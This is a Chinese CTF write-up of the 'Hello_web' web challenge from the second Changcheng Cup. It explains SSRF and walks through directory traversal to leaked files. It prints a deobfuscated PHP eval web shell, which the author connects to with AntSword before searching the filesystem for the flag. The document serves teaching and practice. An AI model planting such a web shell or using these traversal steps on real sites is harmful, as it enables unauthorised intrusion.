
第二届‘长城杯’WEB篇—Hello_web
hello_web
这是一道经典的ssrf题目,因为题目比较简单,很多队伍都解出来了,多以这道题最后只有50分
一、什么是SSRF?
SSRF(全称为*Server-Side Request Forgery,服务器端请求伪造)是一种常见的安全漏洞,属于WEB安全范畴。 攻击者通过利用SSRF漏洞,可以让服务器在*未经授权*的情况下向其他内部或外部资源发起请求,从而达到攻击的目的。
SSRF的原理
SSRF漏洞的产生主要是因为服务器端程序在处理用户提供的URL或请求参数时,没有对输入进行严格验证,直接将这些数据作为请求目标,发起HTTP/HTTPS请求或其他协议的请求。
攻击者通过精心构造恶意的URL或输入,利用服务器发起请求,进而实现访问内部网络或受保护的资源。
二、本题WriteUp
题目下发后,打开地址只有如下的显示
(一)好奇宝宝的探索
只有一句话和一段Base64编码字符串,其他就没有什么了~
1 | SSd2ZSBsZXQgeW91IGInbm9yZSBOaGlzIHBhcmFncmFwaC4= |
本着好奇的心,虽然也知道那是不可能的(这段Base64编码字符串就是Flag)
果然不出所料,CTF的Flag不会那么容易给你的,解码之后的内容就是对中文显示的翻译。
1 | I've let you b'nore Nhis paragraph. |
(二)查看源码,发现马脚
继续找吧,既然页面没有任何破绽,看看页面的源码,果然有问题!
源码注释内容泄露的两个文件的路径(还是先探索一番)分别是../hackme.php和../tips.php
查看上一级目录的hackme.php
在看看上一级目录的tips.php
哈哈~,狗屎,就不会这么简单的,不过还没打击到我们好奇宝宝的信息
(三)峰回路转,眼前答案
其实他泄露的文件路径就给了我们一点点提示,既然要返回上一级目录,那么我们不妨试试目录穿越
- 这个要一级一级来,万一我们一下子穿越了两级,由于老天不给我们运气,错过了Flag就要哭死了,呜呜呜~~~
先试试一下tips.php这个文件,穿了一级就泄露出敏感信息 Phpinfo
再试试hackme.php这个文件,既然能叫hackme,说明他肯定有大问题,同样穿了一级就爆出来东西是一个马
这个马是经过处理的,我们对他进行反混,得到马的密码
- 得到马的密码内容
1
?><?php @eval($POST['cmd_66.99']);?>
很明显,注入这个马的文件为cmd_66.99,那么我们可以直接用蚁剑通过disable_functions来连接到这个马,获取webshell
进入shell命令行读取flag
在根目录下,用通配符*查找以flag开头的所有文件1
find / -name flag*
- Thanks for your appreciation. / 感谢您的赞赏